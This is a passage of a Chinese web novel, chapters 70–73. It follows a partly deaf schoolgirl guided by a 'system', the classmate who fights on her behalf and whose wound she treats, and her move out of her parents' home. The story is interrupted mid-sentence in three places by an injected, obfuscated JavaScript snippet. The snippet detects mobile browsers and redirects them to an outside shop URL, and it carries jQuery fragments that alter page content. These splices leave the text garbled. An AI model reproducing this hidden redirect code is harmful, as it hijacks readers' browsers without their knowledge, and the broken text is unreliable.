沈星桥垂下眸,干净清秀的眉眼蕴藏深沉的墨黑,两种姿态纠缠挣扎。 “这算什么?”李闻蝉不屑嗤笑,“让她受一时的委屈,满足你一己私欲?别开玩笑了。” “沈星桥,你这人就不配有朋友,更不适合当她的朋友。” “沈家那没用的父亲早逝,留下一堆烂摊子,母亲因此对你寄予厚望,管教森严。” 李闻蝉:“所以你想考第一,我理解;你戴上假面,明明瞧不起我和胡挚韩潇这种不求上进的二世祖,见了面还是笑眯眯,我也可以理解。” “但我警告过你。”头顶的声音冷漠,淡淡飘来,“别伤害她。” “一时的委屈也是委屈。” 李闻蝉眉眼很沉,“她就不该受任何委屈。” 办公室里,Stella终于肯放池映雪离开。 池映雪边起身边和系统商讨:“你说这个为彼此歌唱的任务怎么做?” “且不说我现在还不能完整地唱歌,让他为我唱是不是更难?” 系统:[男主大人不是已经知道宿主耳朵可以听见一点了吗?宿主直接让他对着你耳朵唱不就好了。] 池映雪低下脸,捋了捋单侧的麻花辫:“那也太直接了……” 另一个新任务是在崩人设之后弹出来的——“一起上演偶像剧的桥段吧^^”。 池映雪凝神静思,系统好奇道:[最近也没有什么重大的节点呀?宿主为什么这么积极地完成任务,之前都没有。] 池映雪一僵:“……我一直都很积极。” 系统才不信她:[哼,明明好多次都靠男主大人躺赢。] 那有什么办法。 李闻蝉似乎总能知道她心里在想什么。有的事情,不管她想没想,他都先做好了。 天色很白,一览无余的白,像缺了点什么。 缺了点什么呢…… 走出办公室的门好几步,池映雪猛然停下:“统,你的男主大人现在在哪?” 池映雪赶到连廊的时候,李闻蝉刚好拽起沈星桥。 他背对着她,池映雪与沈星桥先对视,在那双平和的眼里看见破碎。 沈星桥没有躲闪,结结实实挨了李闻蝉的一拳,而后对她笑了笑,手捂住腰,两眉紧皱。 池映雪被吓了一跳,小心地上前。 背对她的身影轻轻颤动一下,似乎咳了两声,忽然痛吟起来。 池映雪:? 沈星桥:? 70. 第 70 章 十分钟后。 池映雪敲了敲医务室的门。 门没关,她故意放重脚步走进去,并没人在。 早就听他们说过这位许校医神出鬼没。她刚来虹文那天也是,做完检查把单子留在桌上就走了,最后还是李闻蝉锁的门。 池映雪抽出两根棉签,将碘伏开盖,点了点李闻蝉的腹部。 上药吧。 不是很痛,痛到呻吟吗? 李闻蝉关好门,仔细检查过无人跟上才松了口气,一回身就对上她安静的视线。 他喉结滚动,摸了摸鼻子,捂着腰挪过去。 药味逐渐浓烈。 两个人坐在医务室雪白的病床上,还是初见时那一张,中间隔了半米距离,不算远也不算近。 李闻蝉低下头,朝她那边瞥了一眼,合上碘伏的瓶盖。 冷白色的手指没有表情那样不迫,匆促莽撞,不慎沾染难闻的药液。 竟也没有处理,反而在手机上打字,他没调静音,键盘的响声不知该说清脆还是沉闷。 「生气了。」 没错。 很生气。 “也是。” 手机顷刻就被收起来,低沉的声音似笑非笑,回避她响起。 “我答应过你不打架,食言了,抱歉。” “而且我打的是你……” 李闻蝉不想说。 池映雪忽然哼出一口气,旋身瞪他。 她不生气才见鬼。 打架就打架了,他又不是无理取闹的人。 她闭着眼睛都能猜到他为什么突然揍沈星桥,就和之前打宁世延一样呗。 可是,他刚才在那里鬼哭狼嚎的,装什么呀? 系统:[宿主你就承认吧,刚才男主大人喊那几声的时候,你可想不到这一点。] 短暂疑惑后,宿主一看见男主可怜兮兮的样子,脚都快跑出火星子了! 池映雪在李闻蝉看不见的角落拍了它一下,赶走拆台的小系统,重新坐正,却正好与李闻蝉四目相对。 “喂。” 李闻蝉知道她听得见,却不禁问,“在你心里,是不是只有沈星桥才会受伤。” …… 不知道为什么,池映雪在那双深黑色的眸中看见一闪而过的复杂。 怎么说呢。 像水,深沉,幽暗,即将吞噬一切; 又像火,熊熊燃烧,火星子四溅。 但是,不然嘞。 她亲眼看到的,是他把人家给打了,那么重的一拳。 再说,李闻蝉可是单枪匹马制裁持刀恶徒的男主,沈星桥能打到他吗? “你就偏心眼吧。”李闻蝉又一次突然开口,“不,你是缺心眼,他都那样对你,你还担心他。” 静默几秒,他又道:“……我不嚎几声,你会跟我过来?” 这态度很不对,池映雪皱起眉。 还没想明白,李闻蝉已然扶着腰起身,擦净手上那滴药渍,重新挂上拽拽的笑,朝她伸手。 “行了,你就当我没说……!” 一瞬间天翻地覆。 池映雪用力握紧他的掌心往回拉,将他扑倒在床上。 李闻蝉:!!! 柔软的碎发垂落,若即若离地搭在他脸侧。 肌肤传来一阵酥,很痒。 不知是随风微动的头发、身上女孩的呼吸,抑或是其他什么。 池映雪自己也有点懵。 咦? 怎么真的扑倒啦。 他躲都不躲的。 池映雪对李闻蝉的配合相当满意,眯着眼掀开他校服的衣角。 如果只是装样子,起身时怎么会无意识扶腰呢?除非—— 李闻蝉喉结滚动:“别……” 猛然打住。 不是,为什么这场景,这话,听上去这么奇怪? 他还在胡思乱想,上方传来一声细细的吸气。 校服被掀起,精壮而清健的腹肌随之显露。 池映雪的关注点显然不在这上面。 他真的受伤了。 指尖颤抖,小心翼翼地触碰冷色肌肤上深红色的血痕。 李闻蝉:“嘶。” 这下是真的。 …………好凉。 池映雪赶紧缩回手,这才意识到他们的姿势有点太、太奇怪了! 她急急忙忙从他身上下来,刚起身,医务室的门被推开。 池映雪、李闻蝉:“!” 一人抬眼,一人将脑袋后仰,两道视线蓦然射向门口的许校医。 许校医叼着冰淇淋的塑料勺,抬起手掌,“…嗨?” 李闻蝉:“请出去。” 许校医立马关门:“okok,你们继续!” “………” “………” 大门再次紧闭。 池映雪脸蛋通红,飞快地弹到一侧,抠动床角的金属边边。 李闻蝉清嗓子清了好半天,她回过神,重新拿起棉签和碘伏,这下他倒是肯乖乖配合,掀衣服上药,只是时不时瞥一眼她的眼色。 池映雪用沾湿的棉签在伤口打圈消毒,嗓子眼有点堵。 这么大一道划伤的口子,沈星桥难道是金刚狼吗? ——所以,莫非他昨晚出去,遇到了什么危险? 池映雪将消炎药膏狠狠按揉在伤口,像宣泄,又有些茫然失措。 她其实偷看到章子健私聊李闻蝉发消息告知情况,就在沈星桥来办公室之后,苹安出现之前。 看聊天的界面,他们应该一早就开始联系,估计李闻蝉早就往回赶了。 但他受伤了啊! 受伤了还要匆匆忙忙回来,平时上学怎么不见他这么积极!还有,还有带她去兜风,他也不怕伤口发炎…… 还有脸上那道细细的血痕,她以为又是别人的血,离得近才发现是他自己的。 ………真的笨死。 池映雪听见李闻蝉因为疼痛忍耐的轻声,改为缓缓点揉。 笨的无可救药了。 他真以为受伤是什么勋章吗? 忍痛声停,闷闷的笑响起。 李闻蝉的黑眼睛亮亮的,手撑脑袋,忽然捏了捏她的鼻子。 他抽出一张面巾纸,很轻柔地帮她擦眼泪。 要不是这样,池映雪都没发现她哭了。 “好了,好啦。” 他还嬉皮笑脸的。 “我都没哭,你哭什么?哪有那么娇气。” 李闻蝉笑得顽劣,吊儿郎当又散漫:“事有轻重缓急,小伤而已,我身体好,比起这个,某人的心理健康更重要是吧?” 语气像在开玩笑,轻描淡写的,一点也不认真。 池映雪嘴一瘪。 李闻蝉举起双手,湿润的面巾纸在手中晃荡,宛如投降的小白旗。 “好好好,我错了,你接着哭。” 他眸光一转,任由池映雪哭到发颤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656300|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手在脸上贴好创可贴,然后按住她,抽出无菌纱布,自个儿贴好伤口,起身又蹲下。 “哭起来还挺好看的。” 白色光芒晃眼,池映雪抬掌遮住,突然发现李闻蝉正在用手机拍她:“三二一看镜头——” 池映雪赶紧去挡,但没什么用。 咔擦几声连拍,他的手更快。 李闻蝉蹲在她面前,握手机那只手悠闲地搭在离她很近的被褥上。 笑得肆意又张扬,直到对上她颤抖的睫。 刚刚上药的时候,她也是这样。 颤抖,颤栗,像两只粉红色蝴蝶。 他甚至听不见她的心声。是在难过吗,还是有一点点心疼。 是为他哭,还是想到了同样受伤的,别人。 还是……害怕呢? 李闻蝉想到昨晚。 他踩在童年旧友的手背,最后一丝被封存的温暖也散去。 扭曲的声音从底下飘来:“是,一切都是我筹谋的又怎样!我就是不甘心,凭什么你们这些人总是得天独厚,尤其是你,李闻蝉!” “从小时候开始,所有人都是你的陪衬。我就是想看你失败,看你摔下来的样子,很难理解吗?” 李闻蝉没有理睬,蒋傅忽然放声大笑,在夜间的公路段显得格外诡异,像一语成谶的诅咒。 “你以为大家都捧着你,喜欢你是吗?” “那都是因为他们还没看清你的真面目——你好像总是能看透一切,洞察人心,在你身边的每一刻都让我窒息!” “你这样的怪物,但凡别人开始了解都会恐惧。” 蒋傅粗喘着气。 李闻蝉的手机提示音响起。 「不好了蝉哥!快看这个链接,雪神有难!」 “永远不会有人真的爱你。” 趁他查看消息的空隙,话语和不知藏在哪里的利刃一起划来。 医务室里窗明几净。 李闻蝉拂去雪白被褥上格外明显的尘粒,唇角渐渐收敛。 “池映雪……”他叫她,“不要怕我。” 风将细密的黑发吹起,影动遮盖眉眼。 莫名其妙,池映雪很想摸摸他的头发。 李闻蝉并没注意到,先一步起身,头顶瞬间离她很远。 “啊对了。” 他拳砸手心,拉着她走向盥洗间。 池映雪的手心被他牵到水龙头前,事先就调好的热水,温温的,刚刚好。 哗—— 手上的药味慢慢褪去,借着他在旁边水龙头洗手的动作,水流冲刷皮肤的声音很悦耳。 就像是她听见自己洗手的水花声。 好神奇。 哗声中断。 耳边多了更加温热的气息:“你怎么学会的上药?” 这么熟练。 池映雪又把手洗一遍,低着脸,眼珠乱转。 “……还装没听见。” 李闻蝉无奈地捏了捏她的耳垂,嘀咕道,“真想快点见你之前那两个朋友。” 李闻蝉看起来是医务室的常客,用干燥的白毛巾帮她擦完手,又顺手挤了两泵许校医的护手霜给她。 池映雪将白色的流体抹匀,听见他走远好几步,给胡挚发语音。 “虎子,我必须纠正你一个观点。” “老男人怎么了。” 李闻蝉单手插兜,半边身子靠墙,勾唇淡笑,“年纪大的,会疼人。” 池映雪:“………” 71. 第 71 章 池映雪没眼看,将毛巾叠成整齐的小方块。 她灵光一闪:“系统,任务完成了吗?” [嗯嗯嗯?什么任务?] 系统一脸懵。 “偶像剧的任务呀。上药,扑……” 池映雪摸摸鼻尖,“那个,这些桥段还不够偶像剧吗?” 系统:[是耶,可是任务面板没有亮。] 它苦思冥想一会,猜测到:[会不会需要一点东西点缀,比如说,额……] [台词?] 系统两眼一眯,露出傻白甜面对霸总的微笑,因为没有下巴显得不伦不类。 [欧巴,擦浪嘿?] 池映雪:………… 有时候真觉得,这小系统的脑回路和李闻蝉一样神奇。 回到班上时,万苏瑶正捧着她桌面的日历,和秋怡热火朝天的讨论。 这日历就是苹安和裴景送给她的生日礼物,很漂亮的立体式,不同花样的小卡片由下面的一块横木槽固定,三个人的生日都被圈出,池映雪又补充上七人群里的大家。 除此之外还有一把雨伞。因为池映雪偶然在聊天时提过妈妈为她买的东西都是池鲤鲤同款,比如那把红色的花边小洋伞,对池鲤鲤那种精致娇矜的人来说刚刚好,对她来说,有点夸张。 也是她太宝贝礼物,拿到手没舍得在驿站拆开,不然不会麻烦别人打伞。 沉思被万苏瑶的拉拽打断。 “小雪你还不知道吧,咱大虹文两个传统,十一月运动会,十二月冬研学旅行,这可是最后的狂欢了!幸亏你不是下学期才来,从高二下开始就慢慢过渡到高三备考,大型活动少得可怜。” “我到现在还怀念高一的夏研学,去的是悉城,海滩和晚霞真的美死了……” 池映雪从未出过国,端坐着听她讲,眼睛亮亮的,偶尔有一刹恍惚。 秋怡拍了拍万苏瑶的手,在旁补充:“其实去了以后也就祛魅了,国内外各有千秋吧,那边生态好,但虫子和爬行动物真的多到爆炸,尤其是苍蝇,还有些地方臭臭的……” “那倒是!”万苏瑶拍着手笑,“哦还有,当时咱们住民宿,虎子饿了,毽子说要露一手,结果买回来那边的猪肉,腥得把酸水都吐出来!” 胡挚立马开始模仿章子健当时的情态,章子健耳根通红,从前排冲过来制止,池映雪跟着其余几人抿嘴笑。 目光流转,定格在右侧,匆匆收回。 池映雪撕下一张便签纸,黑笔在手里摇摇晃晃,始终不知如何落笔。 胡挚被章子健掐出一道尖叫,向后排的李闻蝉求救,李闻蝉和章子健对视一眼,好整以暇:“老男人没力气,帮不了你。” 胡挚大声抗议:“不是吧蝉哥!我可是专门表演给你和雪神的,就你们俩没见到毽老师当时——唔唔……” 李闻蝉抬了一下眉,抿起嘴,帮他拨开章子健的手。 黑笔放下,便签纸被贴回原位,粘不牢固,顶部翘起来。 秋怡对池映雪耳语:“李闻蝉上个学期特神出鬼没,三天两头请假,这类活动一个也没参加,小道消息说他打算转去HK念书,请假是去办手续和接触那边的环境。” 万苏瑶也凑过来:“现在看,他根本就是不想学吧。” “就是不知道为什么突然转性了,啧啧啧,校霸爆改好学生啊。” 万苏瑶抽出一本书卷起来,往李闻蝉那边递:“采访一下,学渣是如何自救成功的?” 池映雪觉得李闻蝉情况特殊,天赋异禀的,不会有什么参考价值。 却听他一本正经道:“我想想。” “大概是——世上无难事。” 李闻蝉转着笔,桌面上摊开的背诵小册子俨然是一首鹊桥仙,涂黑了两个字。 “只要肯攀登。” 晚自习放学,保姆车等候在校门口。 鱼贯而出的学生中,池映雪停下脚步,红色的书包带被捏到变形。 车门打开,秦书朝她快步走来。 “小雪……” 不给她说话的机会,秦书对着她的耳,咬字清晰,声音比往常更高,“小雪看见妈妈发给你的短信了吗?阿姨已经在家里炖好了排骨汤,你不是想长得更高吗?吃什么补什么,还给你放了些红枣,补气血,免得下回来例假又痛。” “小雪。”秦书终于停下来,“……回家吧。” “和妈妈回家,啊,就我们两个人。” 池映雪不由看向她。 秦书从来都是位优雅的妇人,保养得很好,衣着亦讲究。 现在却满眼写着焦灼,夹杂着后悔、恐慌等种种复杂情绪,头发被车座压乱了,也没有在意。 「池鲤鲤呢?」 秦书连忙回应:“她自己回去了,妈妈今天是专门来接你,向你道歉的,爸爸也等在家里呢。” 周围都是人,不时向母女侧目。 秦书拢了拢披肩,拉住池映雪的手腕:“我们先去车上……” 她没有拉动。 池映雪:「所以其实你们知道我在意她,对吗?」 秦书语噎。 好半天,她手忙脚乱地解释:“鲤鲤也是我们养了十几年的女儿,我们不可能把她送到那个环境里去呀。你最懂事,妈妈只是……” 池映雪叹了口气。 「我从来没有想过把她送走,说实话,你们留下她,我认为很好,因为这说明你们有温情。」 「我想要的从来都不是独占。」 耳边忽然响起那句话。 贪心一点,也没关系。 池映雪摇摇头:「因为我知道那不可能,我只是想要你们一视同仁。」 “鲤鲤有的你全都有了呀,妈妈都买给你了不是吗?”秦书立马辩驳,“还有夜宵,哪一次没有给你留,那甜品师傅都是我们从国外皇室专门请来的。这次误会是我们不好,但你这样说就太过分了。” 十月末的晚风,安静吹卷地面铺陈的梧桐落叶。 说实话,挺冷的。 池映雪忽然很轻地勾了勾唇,删掉打字框里大段的文字。 她将手机揣入校服口袋,转身离开。 “小雪?”秦书在后面追赶,“你要去哪?” 那并不是地铁站的方向,秦书逐渐心慌,却保留一丝底气。 其实,她也没别的地方可去。 她就这一个家,至于应家,更不可能回去。 直到一辆眼熟的宾利在街边稳稳停靠。 秦书瞪大眼:“静、静俭?!你怎么会——” 池静俭打开车门,冷峻的脸在看到池映雪后绽开微笑,他走上前,对秦书礼貌颔首。 简短的问好后,池静俭开门见山:“我接小雪回老宅,老爷子已经同意。” 秦书:“可是……” “没什么可是。” 淡淡的声音在较之刚才空旷些的街道响起,梧桐掩映街灯,深红昏黄,背后是小片小片的浓蓝黑天。 李闻蝉踏着落叶慢慢走来,两手插在校服兜,出场挺高调,语气蛮张扬,对上长辈也丝毫没怵,很符合他的气质。 “她在自己家不开心,那就换个家。” 李闻蝉的下巴微抬,“老爷子那儿,池静俭那儿…我那儿。” “只要她愿意,哪里都是她的家,是吧?” 池静俭:“没错。” 李闻蝉嘴角轻抽。 谁问你了。 打开大伯池醒送来的文具套盒换钢笔时,池映雪在里面发现一张卡片。 是邀请她住进老宅的。 他们应该是听说了这次的事,不知道是预判抑或消息灵敏,总之想到她在家里过得并不舒心,所以让她有一个新的容身之地。 刚进宾利车后座,池映雪还没坐稳当,一只手就推了推她。 一回头,李闻蝉手撑车门,弯腰挥手,示意她进去些。 后座靠左还有一个大盒子,占了不少位置。 驾驶座的池静俭看不下去,拍打副驾:“挤不挤?过来。” 池映雪抱着书包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666030|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪动,李闻蝉当即坐进去:“挤挤更暖和,开车吧。” 池静俭白了他一眼,踩下油门。 李闻蝉戳了一下红色的小书包:“我值个日的功夫你就没影了,跑的还挺快啊。” “下次一起,听到没。” 池映雪抬起下巴扭头:没有。 “我是在和书包说话。”李闻蝉前后晃动书包,“喔,点头了。” “妹妹,现在我这样说话能听见吗?” 池静俭平稳的语气从前排传来。 池映雪点点头,想起他看不见,慌乱之际,李闻蝉哼了一声,替她传达:“可以。” “那就好。” 池静俭的口吻突然变得僵硬生冷:“后排的盒子可以打开。” 池映雪眨了一下眼,下意识看向李闻蝉,对视后赶快旋过身拆开纯白色的盒子。 温热的气息从背后覆上来,若有若无洒落在她后颈。 池映雪不可抑制地微颤,清漫的声音调笑着钻入耳廓:“哇,这不是我们静俭哥最擅长的雕塑吗。” 池静俭:“听某人说你喜欢史迪仔,顺手做了一个,不嫌弃就收下吧。” 李闻蝉凑近池映雪悄悄道:“别听他的。这人前阵子一直在准备艺术展,肯定是专门为你抽空做的,脸皮薄才说顺手。” 池静俭轻咳一声,嘴角压得更死。 纯白的雕塑,可爱到无懈可击,池映雪不懂艺术,也能由衷感慨一句好美。 她从书包的侧边取出小本子,一笔一划尽量平整地写字,趁着红灯撕下这一页,双手递到前边。 池静俭看完,把纸放进收纳盒。 两秒后取出,摘除手机壳塞进去重新戴好。 池映雪写的时候背过李闻蝉,他看不见。 李闻蝉把墨发抓到凌乱,啧了好几声,伸手扒拉池静俭:“写了什么啊,你俩这么快就排挤我了?” 池映雪憋着笑看窗外,池静俭幽幽道:“你不是差辈了么。” “我们和长辈沟通有隔阂。” 李闻蝉:“。” 李闻蝉睨了一眼池映雪。不爽。 幸好池静俭那面瘫,脸越臭心里就越激动,此刻正不间断播放纸上的文字。 “谢谢你,哥哥。” 李闻蝉握拳,嘴角向下撇。 “史迪仔真的好可爱,哥哥雕塑得好好。不过,史迪仔不是我喜欢的,我喜欢葡萄。” 拳缓缓松弛,李闻蝉眯起眼,闪过一丝不解。 池静俭忽然开口对池映雪讲话,分走他注意力。 “喜欢就好,那哥哥给你再做一个。” 池映雪犹豫地又递过一张纸:「可以吗?」 她还是第一次提出这种要求,非常不习惯。也就是身边坐着某个家伙,才敢写下那句话。 池静俭将车靠边停,又一次塞纸到手机后,这回娴熟很多:“当然。” “我们是家人。就当补给你过去十几年的生日礼物。” 池映雪呼吸放轻,又听他道:“那么,还有15份,你可以慢慢想。” 李闻蝉原本欣慰地笑,手支在车窗沿撑脑袋,闻言瞳孔地震,正逢池静俭刹车后前进,胳膊落空,险些向前栽。 李闻蝉咬牙切齿,尚未发话,池静俭停好车回头:“到你家了,下车。” 李闻蝉:“?” 池映雪好奇地跟着他转头。窗外果然是一个小区的大门,看着就很气派,很高级,绿化也很棒。在这里生活,应该很舒服,难怪他放着老宅不住,一个人住这里。 池静俭:“还不下?” “你不会以为你也一起住到老宅里吧?呵,你是不是忘记自己当初和老爷子亲口发誓的那个炫酷狂拽劲?” 16岁的李闻蝉义正辞严:“我长大了,要搬出去住。” “回来?当然不,这辈子都不会。一个人多自由自在,说了你也不懂,我有空会来看你的老头。” 18岁的李闻蝉:“…………” 他现在后悔还来得及么? 72. 第 72 章 啪嗒。 玄关灯亮,李闻蝉用脚将门踢关,通话正好接通。 “池老头。”他闷闷地找茬,“你说你当年怎么就认我做养子了呢?我比你孙子还小,愣是高了一个辈分出来,不伦不类的。” 池老爷子:“我和你父亲是忘年交,你说呢?” 李闻蝉:我竟无言以对。 阔大的中式木窗外隐约可见车灯,老爷子双眼含笑:“不说了,我去接我的好孙女去咯,某人就自己独守空房吧。” “谁叫某个臭小子趁我不在,挖走我最爱的煲汤师傅,哼。” “喂,喂——” 嘟嘟的忙音响起,李闻蝉轻啧了声,舌尖抵腮,无奈地将手机随意把玩。 “都是为了谁啊……” 手机转回正面,李闻蝉叹出一息,随意靠着门,拨出另一号码。 “……对,就是上次说的。” “已经改装好了?不错。你和他说一声,后备箱里那些礼物……” 李闻蝉:“算了。” 他弯腰换鞋,顺手把斜挎包甩到门口的沙发,想了想又捞回来,拎着走向书房,“先别动,就放里面吧,我再想想怎么给。” 池映雪被池静俭带回来过一次的老宅,新的房间不大,胜在敞亮,相较于之前那个二楼最西侧的角落好了许多。 介绍完后,池静俭和老爷子就关门告别,池老爷子身上还穿着睡衣,一看就是专门等她回来的。 暖黄色的灯光照在池映雪的侧脸,很温暖。她把书包轻轻放在椅子上,换好软糯的贴身长款睡衣裙,坐在床角编辑消息。 打了又删,删了又打,终于发出去。 小雪:「你的伤有好点吗?」 李闻蝉:「新家怎么样?」 发送的一瞬间,对面的白框也弹出来。手机震动,吓了池映雪一小跳。 李闻蝉:「我挺好的,多亏了某人。」 「还有之前的瘀伤,一直好不了,某人一上药它就消失了,你说这是不是天意?」 是他一直懒得揉开吧。 池映雪哼唧两声,唇角弯起来:「我这边也挺好的。」 「拍张照我看看。」 「就你那性子,不好也会说挺好。」 「才不会。」 池映雪抿起嘴。 小雪:「不会了。」 她退出企鹅,翘起脚晃了晃。 软软的棉拖鞋缀着雪花图案,随之轻荡几下。两脚并拢,双手捏住手机靠在锁骨,好一会才重新举起,打开相机。 咔擦。 卧室的半景照新鲜出炉,并未立马发送。 睫毛上下飞颤。 池映雪将照片删除,又拍了一张,这次有两只拖鞋入镜。 嗡嗡。 李闻蝉:「哟,小雪花呀。」 孟心词那天说,喜欢一个人时有一个小特征,那就是爱给对方起昵称。 专属,独有,私藏,仿若两人间的暗号。 也可以不是爱称,仅仅一个特殊的称呼,譬如孟心词管他叫“那谁”。 指尖触摸那三个黑体字良久,缓缓移开。 她好像从未想到过这个。所以……不喜欢,对么。 不过说起“昵称”,秋怡今天被徐静萌安排检查班群里还有哪些人没改群昵称,其中就有李闻蝉。 当时她就坐在她旁边,看见了纯黑头像后崭新的id。 小蝉。后面跟了一个“耳朵”的emoji。 秋怡问她知不知道李闻蝉为什么突然换网名,还有头像。池映雪原封转述给李闻蝉。 李闻蝉:「你怎么回答她的?」 小雪:「我也不知道。」 过了几秒,对面发来一条语音。 这还是第一次。 池映雪的脚停止晃动,甩掉拖鞋,将头和手机一起埋进被窝。 闷热的被子在灯光照映下透出橘红色,荧幕的白光微弱,听筒内,清声携电流一同漫出。 “改天请你吃一种零食,童年的回忆。” 玫瑰园别墅区,深夜的池家仍然灯火通明。 老爷子发话,他们再怎样也只能同意池映雪搬走。主宅的管家亲自前来整理她房间的东西,池润前去迎接,双拳紧攥。 秦书站在二楼最偏僻的那个小卧房门口,浑身颤抖。眼看一件件东西被小心收起,可统共也没有多少,眼眶愈发深红,双腿逐渐失去支撑的气力。 池鲤鲤赶紧冲过来扶她,递上手帕纸:“妈妈,您别难过……” “那是我女儿!亲生女儿!现在她连家都不回,我怎么能不难过?!” 秦书情绪彻底失控,挥开她的手,忽然想到什么,泪如雨下,“你上次保证的都是骗我的对不对?你其实私下肯定还在针对小雪,邢芷是你最好的朋友,如果不是你授意,她怎么会欺负小雪!” “不是,妈妈,这次我真的不知道!” 秦书摇头:“我现在不想看到你。” 她只想再看看小雪,她的耳朵似乎真的好了许多。她还没好好和女儿说上更多的话…… 秦书悔不当初,正要发消息关怀,一打开聊天软件,映入眼帘的就是曾经的记录。 「池映雪,做人要诚实。」 「我了解到老师平时会把答案多给你一份,那是因为你耳朵不方便听讲,不要依赖它。」 「你的底子很优秀没错,但在以前那种环境养成的陋习,趁早改掉。」 …… 通篇都是他们在发,甚至连质问都算不上,只是先入为主的不信任。 可小雪为什么不替自己解释呢?只要她…… 秦书开始上滑群消息,越翻越难过,直到看见很久以前,池映雪刚回家那阵子发的话。 很局促。很客气。很……小心。 「妈妈,请问我可不可以和您一起去参加周末的茶话会,听哥哥说,您非常喜欢和朋友们一起喝茶。不方便也没关系的,我会在房间复习功课。」 秦书:「没关系,你学习吧。你没去过这种场合,一群人要在一起聊天,有鲤鲤和我一起呢。」 「嗯,我知道的。」 「妈妈,我能不能和您提一个小要求?餐桌上的甜品有些太甜了,我不太习惯。」 秦书:「你是不是以前没吃过这样的甜点啊?也是,应家那条件。我们家的大厨都是国外请回来的,之前在皇室工作,做甜品很一流,甜品不就是要甜吗?你哥哥和鲤鲤妹妹都很喜欢,吃着吃着就习惯啦。」 池映雪回复一个很乖巧的表情包:嗯嗯。 这样的对话还有几次。之后,她就渐渐不再提了。 第二天,池静俭闲来无事,改掉老爷子口中艺术家的作息,起了个大早送池映雪来学校。 虹文气派的校门口,宾利车稳稳停下。池映雪隔着降下的车窗对池静俭挥手告别,一转身,看见熟悉的保姆车停在马路对面。 池鲤鲤从车上下来,还是那样精致娇俏。 池映雪没有一丝停顿,径直往前走。今天的马尾是老宅专业的发型师老婆婆帮忙扎的,比平时高一些,随走动轻摇。 刚走到教学楼的大厅,池鲤鲤忽然掉头走向她。 在校门口遥远一瞥时还如天鹅般骄矜的女生,此刻双眼微红,紧攥着手望池映雪,目光似流露恳求。 你能不能回来?回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正想做些什么调节气氛,定位检测功能犹如神兵天降。系统惊喜道:[宿主,男主大人在花园呢!你要不要去找他一起回班?] 又在花园? 喂猫吗? 应家的老房子在一条很小的巷子里,没几盏路灯,一到晚上几乎漆黑。 池映雪小时候走夜路被野猫抓过,应母忙着照顾患感冒的应光司,说没钱带她去打疫苗。幸亏她运气好,没染上什么病,只是那之后对这种流浪的小动物避而远之。 即使她的确很喜欢它们毛茸茸的外形,很可爱。 池映雪垂下睫,犹豫片刻,还是朝花园深处走去。 十月的最后一个周六,栾树像是扎根地表绚烂的雨,桂花从嫩黄开到亮橘,一树接一树的浓香。 金黄色香气的尽头,池映雪听见一声细微的猫叫。 那只熟悉、好看的手娴熟抚摸三花猫的下巴。李闻蝉穿着整整齐齐的校服套装,半跪地面,清闲嘚瑟地用另一只手上的猫条时不时逗弄一下。 池映雪忍住笑,藏在一棵宽树后,准备悄悄走近吓他一跳。 一道突然出现的黑色身影打断她的动作。 池映雪很吃惊。 邢芷怎么还会来学校?她不是停学在家吗? 静谧的花园,李闻蝉并未分神色给她。 也是,之前就在系统提供的剧情里看见,邢芷因为池鲤鲤的事来找过李闻蝉好几次,虽然时间和事件都对不上,但里面写李闻蝉一次都没搭理过。 这次更不会吧。 耳边突然响起那道清声:“我记得你。” 沙沙—— 风将树叶摇出冷声,落了好几朵桂花。 池映雪捏紧书包带,忍不住探出一双圆眼偷看。 邢芷显然也没想到他会这样说,整理了一下头发:“你,你居然……” “邢家人。池鲤鲤的跟班。” 李闻蝉抱着猫站起,瞬间睥睨。 “欺负我的人,很难不记得。” 73. 第 73 章 书包肩带骤然放松。 来自背后的沉重差点没让人失去重心。 池映雪双手捂脸。 ……谁是他的人了。乱讲。 邢芷低头看了眼自己一身黑的穿搭,再抬眸,对上那双冷淡不羁的眼。那眼里从未有过她。 不知何时,李闻蝉已经每天穿戴整齐的白色校服套装。 “你果然……”她顿了顿,苦笑,“直到昨天站在办公室里我才肯承认。从没见你这样管过别人的事。” “早知道这样,我不会针对她。” “……我不想让你讨厌我。” 楼梯间内,池映雪步履匆匆。 [宿主为什么不听下去?] 系统挠破脑袋也想不出来。环境安静,能听得清楚他们在说什么。而且她看上去,分明就很在意。 不过,邢芷居然也喜欢李闻蝉吗? 不愧是集万千气运于一身的大男主,人设里就有一条魅力无边却视而不见。 池映雪眼眸微闪:“偷听别人的隐私不好。” [也对,男主大人肯定会好好拒绝哒!] 系统兴奋道,[好歹我们现在知道了邢芷的弱点,哼,让她那么欺负宿主!再有这种事,就让她也尝尝在论坛出名的滋味!] 池映雪摇摇头。 推开教室后门,内外有温差,弄得人闷闷的。 孟心词的话像相机倒带般浮现眼前。 “喜欢一个人啊……我想想,除了起昵称、渴望更亲密的接触,大概就是会吃醋吧?” “哎呀,我当然知道朋友也会吃醋,但这两种占有欲是不一样的。你会因为瑶瑶和我多说了几句话就胡思乱想吗?你会介意胡挚和万苏瑶坐的更近吗?” 她哪里有那么伟大。 是不想听,还是不敢听。 是以德报怨,还是单纯的,不想在论坛看见他和别人的名字共同出现。 